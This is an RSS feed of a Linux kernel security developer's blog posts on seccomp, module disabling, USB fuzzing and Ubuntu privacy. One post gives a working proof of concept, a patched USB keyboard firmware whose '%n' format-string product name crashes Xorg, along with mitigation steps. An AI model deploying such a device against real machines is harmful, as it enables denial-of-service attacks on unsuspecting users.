<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>codeblog</title>
	<atom:link href="http://www.outflux.net/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.outflux.net/blog</link>
	<description>code is freedom -- patching my itch</description>
	<lastBuildDate>Thu, 09 May 2013 20:53:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Hardy is end of life</title>
		<link>http://www.outflux.net/blog/archives/2013/05/09/hardy-is-end-of-life/</link>
		<comments>http://www.outflux.net/blog/archives/2013/05/09/hardy-is-end-of-life/#comments</comments>
		<pubDate>Thu, 09 May 2013 20:53:15 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=677</guid>
		<description><![CDATA[Well, the second Ubuntu Long Term Support release, 8.04 Hardy, has reached end-of-life. (Along with 11.10 Oneiric and the Desktop Support for the 10.04 LTS Lucid.) Flushing my package mirror of Hardy and Oneiric was pretty dramatic, freeing up about 142GB worth of space. Before: $ df -h /var/cache/mirrors/ Filesystem Size Used Avail Use% Mounted [...]]]></description>
			<content:encoded><![CDATA[<p>Well, the second Ubuntu Long Term Support release, 8.04 Hardy, has <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2013-May/002106.html">reached end-of-life</a>. (Along with <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2013-May/002107.html">11.10 Oneiric</a> and the <a href="https://lists.ubuntu.com/archives/ubuntu-security-announce/2013-May/002105.html">Desktop Support for the 10.04 LTS Lucid</a>.) Flushing my package mirror of Hardy and Oneiric was pretty dramatic, freeing up about 142GB worth of space.</p>
<p>Before:</p>
<pre class="brush:shell">
$ df -h /var/cache/mirrors/
Filesystem                        Size  Used Avail Use% Mounted on
/dev/mapper/sysvg-debmirrorlv  753G  692G   62G  92% /var/cache/mirror
</pre>
<p>After:</p>
<pre class="brush:shell">
$ df -h /var/cache/mirrors/
Filesystem                        Size  Used Avail Use% Mounted on
/dev/mapper/sysvg-debmirrorlv  753G  550G  204G  73% /var/cache/mirror
</pre>
<p>If only online filesize resize <em>shrinking</em> worked. :)</p>
<p style='text-align:left'>&copy; 2013, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2013/05/09/hardy-is-end-of-life/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>facedancer built</title>
		<link>http://www.outflux.net/blog/archives/2013/01/21/facedancer-built/</link>
		<comments>http://www.outflux.net/blog/archives/2013/01/21/facedancer-built/#comments</comments>
		<pubDate>Mon, 21 Jan 2013 22:39:09 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Embedded]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=672</guid>
		<description><![CDATA[I finally had the time to put together the facedancer11 that Travis Goodspeed was so kind to give me. I had ordered all the parts some time ago, but had been dreading the careful surface-mount soldering work it was going to require. As it turned out, I&#8217;m not half bad at it &#8212; everything seems [...]]]></description>
			<content:encoded><![CDATA[<p>I finally had the time to put together the <a href="http://goodfet.sourceforge.net/hardware/facedancer11/">facedancer11</a> that <a href="http://travisgoodspeed.blogspot.com/">Travis Goodspeed</a> was so kind to give me. I had ordered all the parts some time ago, but had been dreading the careful surface-mount soldering work it was going to require. As it turned out, I&#8217;m not half bad at it &#8212; everything seems to have worked the first time through. I did, however, fail to order 33ohm 0603 resistors, so I have some temporary ones in use until I can replace them.</p>
<p><img src="http://outflux.net/projects/facedancer/facedancer11.jpg" alt="My facedancer" /></p>
<p>This device allows the HOST side computer to drive USB protocol communication at the packet level, with the TARGET seeing a USB device on the other end. No more needing to <a href="http://www.outflux.net/blog/archives/2012/05/16/usb-avr-fun/">write careful embedded code</a> while breaking USB stacks: the fake USB device can be controlled with Python.</p>
<p>This means I&#8217;m able to start some more serious fuzzing of the USB protocol layer. There is already code for emulating HID (Keyboard), Mass Storage, and now Firmware Updates. There&#8217;s probably tons to look at just in that. For some background on the fun to be had just with Mass Storage devices, see <a href="http://www.youtube.com/watch?v=dp7IMyXyfvA#t=460">Goodspeed&#8217;s 23C9 presentation</a> on it.</p>
<p style='text-align:left'>&copy; 2013, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2013/01/21/facedancer-built/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>clean module disabling</title>
		<link>http://www.outflux.net/blog/archives/2012/11/28/clean-module-disabling/</link>
		<comments>http://www.outflux.net/blog/archives/2012/11/28/clean-module-disabling/#comments</comments>
		<pubDate>Wed, 28 Nov 2012 23:55:07 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=662</guid>
		<description><![CDATA[I think I found a way to make disabling kernel module loading (via /proc/sys/kernel/modules_disabled) easier for server admins. Right now there&#8217;s kind of a weird problem on some distros where reading /etc/modules races with reading /etc/sysctl.{conf,d}. In these cases, you can&#8217;t just put &#8220;kernel.modules_disabled=1&#8221; in the latter since you might not have finished loading modules [...]]]></description>
			<content:encoded><![CDATA[<p>I think I found a way to make disabling kernel module loading (via <code>/proc/sys/kernel/modules_disabled</code>) easier for server admins. Right now there&#8217;s kind of a weird problem on some distros where reading <code>/etc/modules</code> races with reading <code>/etc/sysctl.{conf,d}</code>. In these cases, you can&#8217;t just put &#8220;<code>kernel.modules_disabled=1</code>&#8221; in the latter since you might not have finished loading modules from <code>/etc/modules</code>.</p>
<p>Before now, on my own systems, I&#8217;d added the sysctl call to my <code>/etc/rc.local</code>, which seems like a hack &#8212; that file is related to neither sysctl nor modules and both subsystems have their own configuration files, but it does happen absolutely last.</p>
<p>Instead, I&#8217;ve now defined &#8220;<code>disable</code>&#8221; as a modprobe alias via <code>/etc/modprobe.d/disable.conf</code>:</p>
<pre class="brush:shell">
# To disable module loading after boot, "modprobe disable" can be used to
# set the sysctl that controls module loading.
install disable /sbin/sysctl kernel.modules_disabled=1
</pre>
<p>And then in <code>/etc/modules</code> I can list all the modules I actually need, and then put &#8220;<code>disable</code>&#8221; on the last line. (Or, if I want to not remember the sysctl path, I can manually run &#8220;<code>modprobe disable</code>&#8221; to turn off modules at some later point.)</p>
<p>I think it&#8217;d be cool this this become an internal alias in upstream kmod.</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/11/28/clean-module-disabling/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>product search in Ubuntu 12.10</title>
		<link>http://www.outflux.net/blog/archives/2012/11/09/product-search-in-ubuntu-12-10/</link>
		<comments>http://www.outflux.net/blog/archives/2012/11/09/product-search-in-ubuntu-12-10/#comments</comments>
		<pubDate>Fri, 09 Nov 2012 23:18:34 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=639</guid>
		<description><![CDATA[The EFF has already discussed the product search &#8220;feature&#8221; in Ubuntu 12.10&#8242;s Unity UI. Ways for disabling it are covered: sudo apt-get remove unity-lens-shopping &#8211; it isn&#8217;t easy to generally blacklist a package, it might end up getting re-installed later, etc. System Settings / Privacy / Search Results &#8211; the naming says nothing about it [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="https://www.eff.org/deeplinks/2012/10/privacy-ubuntu-1210-amazon-ads-and-data-leaks">EFF has already discussed the product search &#8220;feature&#8221;</a> in Ubuntu 12.10&#8242;s Unity UI. Ways for disabling it are covered:</p>
<ul>
<li><strong>sudo apt-get remove unity-lens-shopping</strong> &#8211; it isn&#8217;t easy to generally blacklist a package, it might end up getting re-installed later, etc.</li>
<li><strong>System Settings / Privacy / Search Results</strong> &#8211; the naming says nothing about it disabling <em>product</em> search results.</li>
<li><strong>use a UI other than Unity</strong> &#8211; this is what I do.</li>
</ul>
<p>Here&#8217;s another way, that overrides the URL used for the product searching (restart your session after making this change):</p>
<pre class="brush:shell">
$ sudo -s
# echo 'OFFERS_URI="https://localhost:0/"' >> /etc/environment
</pre>
<p>Or, if you run an organization where you build devices that run Ubuntu, and want to snoop on all the things people type into their Unity search bar, just change that to a URL you control.</p>
<p>I&#8217;m astonished by Canonical&#8217;s blatant disregard for providing a way to opt-in to this gaping privacy hole. This is a dramatic case of &#8220;calling home&#8221;, and provides a large amount of information about the user, in real-time. Besides sending the content of their searches and the version of the software installed, it also sends every keystroke, which means in some weird cases, even passive observers can examine keystroke timing which has been shown to <a href="http://www.cs.berkeley.edu/~dawnsong/papers/ssh-timing.pdf">potentially</a> <a href="http://www.cs.berkeley.edu/~tygar/papers/Keyboard_Acoustic_Emanations_Revisited/tiss.preprint.pdf">leak</a> what is being typed:</p>
<pre class="brush:c">
127.0.0.1 - - [09/Nov/2012:14:29:41 -0800] "GET //v1/search?q=p HTTP/1.1" 404 522 "-" "Unity Shopping Lens 6.8.0"
127.0.0.1 - - [09/Nov/2012:14:29:41 -0800] "GET //v1/search?q=pw HTTP/1.1" 404 521 "-" "Unity Shopping Lens 6.8.0"
127.0.0.1 - - [09/Nov/2012:14:29:41 -0800] "GET //v1/search?q=pwn HTTP/1.1" 404 521 "-" "Unity Shopping Lens 6.8.0"
</pre>
<p>Ubuntu is a general-purpose OS, with Unity as its default interface. It is not a vendor-tied appliance nor a telephone company device, and Unity is not a browser (in fact, even in a browser there are visual indicators of where what you have typed will go).</p>
<p>Even if the default for this is enabled, there needs to be (likely at install-time) a page describing what to expect, and the system owner can choose &#8220;yes, search online&#8221; or &#8220;no thanks&#8221;. This behavior needs to be fixed in 13.04 and SRUed into 12.10. If there is no fast solution, then it just needs to be disabled by default until it has a sane notification flow.</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/11/09/product-search-in-ubuntu-12-10/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ARM assembly</title>
		<link>http://www.outflux.net/blog/archives/2012/11/02/arm-assembly/</link>
		<comments>http://www.outflux.net/blog/archives/2012/11/02/arm-assembly/#comments</comments>
		<pubDate>Fri, 02 Nov 2012 18:01:20 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Embedded]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=633</guid>
		<description><![CDATA[While I&#8217;ve been skimming ARM assembly here and there, yesterday I actually had to write some from scratch to hook up seccomp on ARM. I got stumped for a while, and ended up using two references frequently: ARM Instruction Suffixes Whirlwind Tour of ARM Assembly The suffix one is pretty interesting because ARM allows for [...]]]></description>
			<content:encoded><![CDATA[<p>While I&#8217;ve been skimming ARM assembly here and there, yesterday I actually had to write some from scratch to <a href="https://lkml.org/lkml/2012/11/1/512">hook up seccomp on ARM</a>. I got stumped for a while, and ended up using two references frequently:</p>
<ul>
<li><a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473c/CEGBHJCJ.html">ARM Instruction Suffixes</a></li>
<li><a href="http://www.coranac.com/tonc/text/asm.htm">Whirlwind Tour of ARM Assembly</a></li>
</ul>
<p>The suffix one is pretty interesting because ARM allows for instructions to be conditional, rather than being required to rely on branching, like x86. For example, if you wanted something like this in C:</p>
<pre class="brush:c">
    if (i == 0)
        i = 1;
    i = i + 1;
</pre>
<p>In x86 assembly, you&#8217;d have a compare followed by a jump to skip the moving of the &#8220;1&#8243; value:</p>
<pre class="brush:c">
    cmp %ecx, $0
    jne 2
    mov %ecx, $1
2:  inc %ecx
</pre>
<p>In ARM assembly, you can make the move conditional with a suffix (&#8220;mov if equal&#8221;):</p>
<pre class="brush:c">
    cmp   r2, #0
    moveq r2, #1
    add   r2, r2, #1
</pre>
<p>The real thing that stumped me yesterday, though, was the &#8220;!&#8221; suffix on load/store. Mainly, I didn&#8217;t notice it was there until I&#8217;d stared at the objdump output and systematically trimmed away all other other code that wasn&#8217;t changing the behavior:</p>
<pre class="brush:c">
    ldr r0, [sp, #OFFSET]
    str r0, [sp, #OFFSET]!
</pre>
<p>I was reading this as &#8220;variable = variable;&#8221; and I thought I was going crazy; how could a self-assignment change the code at all? In the second reference above, I found the that the trailing &#8220;!&#8221; means &#8220;(pre)increment the base by the offset&#8221;. I was doing a meaningless assignment, but it had the side-effect of pushing the &#8220;sp&#8221; register forward, and suddenly it all made sense (I needed to unwind the stack). The actual solution I needed was:</p>
<pre class="brush:c">
    add sp, sp, #S_OFF
</pre>
<p>Yay for a crash-course in actual ARM assembly. :)</p>
<p>(And yes, I&#8217;m aware of x86&#8242;s &#8220;cmov&#8221;, but I just wanted to do a simple illustration. ARM can do conditional calls!)</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/11/02/arm-assembly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link restrictions released in Linux 3.6</title>
		<link>http://www.outflux.net/blog/archives/2012/10/01/link-restrictions-released-in-linux-3-6/</link>
		<comments>http://www.outflux.net/blog/archives/2012/10/01/link-restrictions-released-in-linux-3-6/#comments</comments>
		<pubDate>Mon, 01 Oct 2012 20:59:39 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=629</guid>
		<description><![CDATA[It&#8217;s been a very long time coming, but symlink and hardlink restrictions have finally landed in the mainline Linux kernel as of version 3.6. The protection is at least old enough to have a driver&#8217;s license in most US states, with some of the first discussions I could find dating from Aug 1996. While this [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s been a very long time coming, but <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux.git;a=commitdiff;h=800179c9b8a1e796e441674776d11cd4c05d61d7">symlink and hardlink restrictions</a> have finally landed in the mainline Linux kernel as of version 3.6. The protection is at least old enough to have a driver&#8217;s license in <a href="http://en.wikipedia.org/wiki/Driver%27s_license_in_the_United_States#Hardship_Licenses_for_Minors_aged_14_to_15_and_GDL_Laws_in_the_50_states_and_the_District_of_Columbia">most US states</a>, with some of the first discussions I could find dating from <a href="http://marc.info/?l=bugtraq&#038;m=87602167419830&#038;w=2">Aug 1996</a>.</p>
<p>While this protection is old (to ancient) news for anyone running Chrome OS, Ubuntu, grsecurity, or OpenWall, I&#8217;m extremely excited that is can now benefit everyone running Linux. All the way from cloud monstrosities to cell phones, an <a href="http://en.wikipedia.org/wiki/Symlink_race">entire class of vulnerability</a> just goes away. Thanks to everyone that had a part in developing, testing, reviewing, and encouraging these changes over the years. It&#8217;s quite a relief to have it finally done. I hope I never have to include the year in my patch revision serial number again. :)</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/10/01/link-restrictions-released-in-linux-3-6/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>USB AVR fun</title>
		<link>http://www.outflux.net/blog/archives/2012/05/16/usb-avr-fun/</link>
		<comments>http://www.outflux.net/blog/archives/2012/05/16/usb-avr-fun/#comments</comments>
		<pubDate>Wed, 16 May 2012 22:20:13 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Embedded]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>
		<category><![CDATA[Vulnerabilities]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=618</guid>
		<description><![CDATA[At the recent Ubuntu Developer Summit, I managed to convince a few people (after assurances that there would be no permanent damage) to plug a USB stick into their machines so we could watch Xorg crash and wedge their console. What was this evil thing, you ask? It was an AVR microprocessor connected to USB, [...]]]></description>
			<content:encoded><![CDATA[<p>At the recent <a href="http://summit.ubuntu.com/uds-q/">Ubuntu Developer Summit</a>, I managed to <a href="https://plus.google.com/107178798711643466403/posts/ST9pUpkPo43">convince</a> a few people (after assurances that there would be no permanent damage) to plug a USB stick into their machines so we could watch Xorg crash and wedge their console. What was this evil thing, you ask? It was an AVR microprocessor connected to USB, acting as a USB HID Keyboard, with the product name set to &#8220;%n&#8221;.</p>
<p>Recently a Chrome OS developer discovered that renaming his Bluetooth Keyboard to &#8220;%n&#8221; would crash Xorg. The flaw was in the logging stack, triggering glibc to abort the process due to <a href="https://wiki.ubuntu.com/ToolChain/CompilerFlags#A-D_FORTIFY_SOURCE.3D2">format string protections</a>. At first glance, it looks like this isn&#8217;t a big deal since one would have to have already done a Bluetooth pairing with the keyboard, but it would be a problem for any input device, not just Bluetooth. I wanted to see this in action for a &#8220;normal&#8221; (USB) keyboard.</p>
<p>I borrowed a &#8220;Maximus&#8221; USB AVR from a friend, and then ultimately <a href="http://www.modtraders.co.uk/minimus-32-avr-usb-development-board.html">bought</a> a <a href="http://minimususb.com/">Minimus</a>. It will let you put anything you want on the USB bus.</p>
<p>I added a rule for it to udev:</p>
<pre class="brush:c">
SUBSYSTEM=="usb", ACTION=="add", ATTR{idVendor}=="03eb", ATTR{idProduct}=="*", GROUP="plugdev"
</pre>
<p>installed the AVR tools:</p>
<pre class="brush:shell">
sudo apt-get install dfu-programmer gcc-avr avr-libc
</pre>
<p>and pulled down the excellent <a href="http://www.fourwalledcubicle.com/LUFA.php">LUFA</a> USB tree:</p>
<pre class="brush:shell">
git clone git://github.com/abcminiuser/lufa-lib.git
</pre>
<p>After applying a <a href="http://outflux.net/software/patches/minimus.patch">patch</a> to the LUFA USB keyboard demo, I had my handy USB-AVR-as-Keyboard stick ready to crash Xorg:</p>
<pre class="brush:c">
-       .VendorID               = 0x03EB,
-       .ProductID              = 0x2042,
+       .VendorID               = 0x045e,
+       .ProductID              = 0x000b,
...
-       .UnicodeString          = L"LUFA Keyboard Demo"
+       .UnicodeString          = L"Keyboard (%n%n%n%n)"
</pre>
<p>In fact, it was so successfully that after I got the code right and programmed it, Xorg immediately crashed on my development machine. :)</p>
<pre class="brush:shell">
make dfu
</pre>
<p>After a reboot, I switched it back to programming mode by pressing and holding the &#8220;H&#8221; button, press/releasing the &#8220;R&#8221; button, and releasing &#8220;H&#8221;.</p>
<p>The fix to Xorg is <a href="http://www.openwall.com/lists/oss-security/2012/04/18/8">winding its way through upstream</a>, and should land in your distros soon. In the meantime, you can disable your external USB ports, as Marc Deslauriers demonstrated for me:</p>
<pre class="brush:shell">
echo "0" > /sys/bus/usb/devices/usb1/authorized
echo "0" > /sys/bus/usb/devices/usb1/authorized_default
</pre>
<p>Be careful of shared internal/external ports, and having two buses on one port, etc.</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/05/16/usb-avr-fun/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>keeping your process unprivileged</title>
		<link>http://www.outflux.net/blog/archives/2012/03/26/keeping-your-process-unprivileged/</link>
		<comments>http://www.outflux.net/blog/archives/2012/03/26/keeping-your-process-unprivileged/#comments</comments>
		<pubDate>Mon, 26 Mar 2012 21:17:09 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=608</guid>
		<description><![CDATA[One of the prerequisites for seccomp filter is the new PR_SET_NO_NEW_PRIVS prctl from Andy Lutomirski. If you&#8217;re not interested in digging into creating a seccomp filter for your program, but you know your program should be effectively a &#8220;leaf node&#8221; in the process tree, you can call PR_SET_NO_NEW_PRIVS (nnp) to make sure that the current [...]]]></description>
			<content:encoded><![CDATA[<p>One of the prerequisites for <a href="http://www.outflux.net/blog/archives/2012/03/22/seccomp-filter-now-in-ubuntu/">seccomp filter</a> is the new <a href="http://kernel.ubuntu.com/git?p=ubuntu/ubuntu-precise.git;a=commitdiff;h=8e8079f9e951ef1921b0de648568ea4b10c38d8b"><code>PR_SET_NO_NEW_PRIVS</code> prctl</a> from Andy Lutomirski.</p>
<p>If you&#8217;re not interested in digging into creating a seccomp filter for your program, but you know your program should be effectively a &#8220;leaf node&#8221; in the process tree, you can call PR_SET_NO_NEW_PRIVS (nnp) to make sure that the current process and its children can not gain new privileges (like through running a setuid binary). This produces some fun results, since things like the &#8220;ping&#8221; tool expect to gain enough privileges to open a raw socket. If you set nnp to &#8220;1&#8243;, suddenly that can&#8217;t happen any more.</p>
<p>Here&#8217;s a quick example that sets nnp, and tries to run the command line arguments:</p>
<pre class="brush:c">
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/prctl.h&gt;
#ifndef PR_SET_NO_NEW_PRIVS
# define PR_SET_NO_NEW_PRIVS 38
#endif

int main(int argc, char * argv[])
{
        if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
                perror("prctl(NO_NEW_PRIVS)");
                return 1;
        }

        return execvp(argv[1], &#038;argv[1]);
}
</pre>
<p>When it tries to run ping, the setuid-ness just gets ignored:</p>
<pre class="brush:shell">
$ gcc -Wall nnp.c -o nnp
$ ./nnp ping -c1 localhost
ping: icmp open socket: Operation not permitted
</pre>
<p>So, if your program has all the privs its going to need, consider using nnp to keep it from being a potential gateway to more trouble. Hopefully we can ship something like this trivial nnp helper as part of coreutils or similar, like nohup, nice, etc.</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/03/26/keeping-your-process-unprivileged/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>seccomp filter now in Ubuntu</title>
		<link>http://www.outflux.net/blog/archives/2012/03/22/seccomp-filter-now-in-ubuntu/</link>
		<comments>http://www.outflux.net/blog/archives/2012/03/22/seccomp-filter-now-in-ubuntu/#comments</comments>
		<pubDate>Fri, 23 Mar 2012 06:02:42 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=602</guid>
		<description><![CDATA[With the generous help of the Ubuntu kernel team, Will Drewry&#8217;s seccomp filter code has landed in Ubuntu 12.04 LTS in time for Beta 2, and will be in Chrome OS shortly. Hopefully this will be in upstream soon, and filter (pun intended) to the rest of the distributions quickly. One of the questions I&#8217;ve [...]]]></description>
			<content:encoded><![CDATA[<p>With the generous help of the Ubuntu kernel team, Will Drewry&#8217;s <a href="https://github.com/redpig/linux/tree/seccomp">seccomp filter</a> code has landed in Ubuntu 12.04 LTS in time for Beta 2, and will be in Chrome OS shortly. Hopefully this will be in upstream soon, and filter (pun intended) to the rest of the distributions quickly.</p>
<p>One of the questions I&#8217;ve been asked by several people while they developed policy for earlier &#8220;mode 2&#8243; seccomp implementations was &#8220;How do I figure out which syscalls my program is going to need?&#8221; To help answer this question, and to show a simple use of seccomp filter, I&#8217;ve written up a little tutorial that walks through several steps of building a seccomp filter. It includes a header file (&#8220;<a href="/teach-seccomp/step-2/seccomp-bpf.h">seccomp-bpf.h</a>&#8220;) for implementing the filter, and a collection of other files used to assist in syscall discovery. It should be portable, so it can build even on systems that do not have seccomp available yet.</p>
<p>Read more in the <a href="http://outflux.net/teach-seccomp/">seccomp filter tutorial</a>. Enjoy!</p>
<p style='text-align:left'>&copy; 2012, <a href="http://www.outflux.net/blog/">Kees Cook</a>. This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/">Creative Commons Attribution-ShareAlike 3.0 License</a>.<br /><a rel="license" href="http://creativecommons.org/licenses/by-sa/3.0/us/"><img alt="Creative Commons License" style="border-width:0" src="http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png" /></a> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.outflux.net/blog/archives/2012/03/22/seccomp-filter-now-in-ubuntu/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>discard, hole-punching, and TRIM</title>
		<link>http://www.outflux.net/blog/archives/2012/02/15/discard-hole-punching-and-trim/</link>
		<comments>http://www.outflux.net/blog/archives/2012/02/15/discard-hole-punching-and-trim/#comments</comments>
		<pubDate>Wed, 15 Feb 2012 21:19:13 +0000</pubDate>
		<dc:creator>kees</dc:creator>
				<category><![CDATA[Chrome OS]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[Ubuntu-Server]]></category>

		<guid isPermaLink="false">http://www.outflux.net/blog/?p=591</guid>
